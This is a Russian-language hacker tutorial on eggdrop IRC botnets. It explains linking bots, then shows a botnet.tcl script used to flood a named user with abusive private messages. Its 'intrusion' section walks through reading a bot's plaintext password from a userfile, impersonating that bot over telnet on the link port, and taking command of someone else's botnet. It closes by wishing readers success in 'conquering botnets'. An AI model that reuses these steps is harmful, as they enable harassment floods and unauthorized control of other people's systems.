Продолжая цикл статей про eggdrop и TCL, хотелось бы упомянуть про botnet. Что такое botnet? Ни для кого не секрет, что на эггдропе можно прописывать не только юзеров, но и других ботов, которые будут (или не будут) линковаться к главному и передавать ему файл с юзер-записями.
Так было задумано разработчиками ламабота. Если посмотреть с другой стороны, то связку ботов можно запрограммировать, чтобы они передавали не только юзерфайл, но и синхронно выполняли команды различного характера. Но обо все по порядку.
Свой личный BotNet
Что нам понадобится для создания своего ботнета? В примитивном случае можешь запустить несколько эггдропов с одной машины (если нет шеллов). Но в случае, когда админ отправит сервер в ребут весь ботнет уйдет в никуда.
Можно скачать скрипт, который поддерживает коннект eggdrop'а через psyBNC (ezbounce), я как-то писал об этом. Даже когда боты умрут, BNC будет висеть и эмулировать их наличие (если, конечно, баунсер запущен на другой машине).
Ну и третий, пожалуй, самый распространенный вариант. Рассадка ботов на разных серверах, а затем их линковка в одну ветку ботов. К тому же, не обязательно, что все боты будут лично твоими, ты можешь договориться о линковке с каким-нибудь ботоводом (они любят прибавление в свое семейство ламаботов ;)).
Я не буду учить тебя добывать шеллы и устанавливать на них eggdrop. Это было написано до меня во многих источниках. А о процессе создания ботнета расскажу.
Итак, заходим на патилайн к боту1, пусть его ник будет ircnetru, и на второй с ником virginia. Для начала пропишем бота virginia на ircnetru:
.+bot virginia *!*virgin@*.net.ru
Затем укажем адрес и порт, который прослушивается для других ботов:
.chaddr virginia 127.0.0.1:3333
В моем примере все боты находятся на одном сервере.
Осталось раздать флаги. Убедись, что в ботах присутствует модуль filetransfer, а затем сделай из первого бота, например, передатчика юзерфайла.
.chaddr virginia +gs
Флаг g также необходим для корректного обмена данными.
Посмотрим, все ли верно?
.match virginia
[14:03] #forb# match virginia
*** Matching 'virginia':
HANDLE PASS NOTES FLAGS LAST
Virginia yes 0 abfo 13:56 (linked )
#channel afmno 08 Nov
HOSTS: *!*virgin@*.net.ru
BOT FLAGS: gs
ADDRESS: 127.0.0.1
users: 3333, bots: 3333
--- Found 1 match.
Одной проблемой меньше. Теперь добавь ircnetru в бот-лист первого бота. Действия будут аналогичными, лишь флаг +s заменяется на +p (приемник юзерфайла).
Все? Тогда сделай последний штрих, добавив какого-либо бота (например, ircnetru) главным, чтобы virginia коннектилась к нему при запуске. За это отвечает флаг +h (Hub Bot).
.chattr ircnetru +h
Все? Тогда линкуем двух ламаботов.
[13:56] #forb# link virginia
[13:56] Stats.mod: Transferred stats from virginia to virginia
[13:56] Linked to virginia
Просмотрим красивое дерево ботов командой bottree.
[15:56] #forb# bottree
Virginia
`--IRCNetRu
Average hops: 1.0, total bots: 2
Поздравляю! Ты только что создал свой ботнет. Возможности его
не безграничны - пока что боты могут только пересылать файлы.
Возможности
Изменить ситуацию может скрипт botnet.tcl (скачать ты его можешь по адресу
http://k-uralsk.net/forb/1/botnet.tar.gz), который позволяет командовать ботнетом. Представь, сказал ты .botnet msg nick fuck и сотни ботов зафлудили указанного чувака приватами ;).
Подгрузим этот скрипт каждому боту командой .tcl source /path/to/botnet.tcl (либо добавим соответствующую строчку в eggdrop.conf). После этого необходимо зарехешить каждого эггдропа и скрипт будет работать.
Живой пример. Командуем virginia:
.botnet say mudak fuck off
[16:19] #forb# botnet say mudak fuck off
И смотрим в консоль ircnetru:
[16:19] BotNet: Virginia told me to say fuck off to mudak
Как видишь, все работает и mudak был зафлужен приватами ;).
Кстати, msg не единственная команда botnet. Ботнетом можно прибить всю ветку бота, сделать rehash, mass ping, join и прочие интересные действия. RTFS, молодой человек!
Вторжение
Что мы имеем? Живой ботнет с подгруженным на нем botnet.tcl, но у нас нет доступа на него... То есть управлять им мы не можем.
Представим ситуацию. Ты знаешь, что существует прописанный, но мертвый бот C (пусть ник у него будет lamabot). Что интересно, в отличии от юзеров, пароли на ботов не шифруются. Поэтому, представим, что ты добыл пароль на lamabot, например посмотрел его в userfile:
lamabot - b
--PASS 123456
--BOTADDR 127.0.0.1:3334/3334
Попробуем представить себя ботом и слинковаться к ircnetru ;). Это можно сделать прицепившись на порт, который слушается для ботоконнектов. Обмен данными будет примерно следующим.
[root@bots user]# telnet 0 3333
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
IRCNetRu (Eggdrop v1.6.12 (C) 1997 Robey Pointer (C) 2002 Eggheads)
Please enter your nickname.
lamabot
passreq <3f53f0a9cc1@IRCNetRu>
123456
*hello!
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
*hello!
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
tb IRCNetRu
n virginia IRCNetRu -EDFQ
el
tb lamabot
Все! Мы в ботнете. Проверить это можно вызовом дерева ботов.
.bottree
[14:28] #forb# bottree
IRCNetRu
|--virginia
`--lamabot
Временами бот будет посылать тебе команду pi (ping), отвечай на нее командой po (pong), иначе ботяра скинет тебя по таймауту ;).
Что дальше? Смело командуй "botnet say mudak fuck" и все боты в дереве тебе потчинятся! Ведь ты же часть этого дерева...
На этом прощаюсь. Хочешь большего? RTFS! В сорцах эггдропа полно комментариев, которые научат тебя ботовому языку, ведь в ботнете полно интересных команд.
Удачи в создании и завоевывании ботнетов!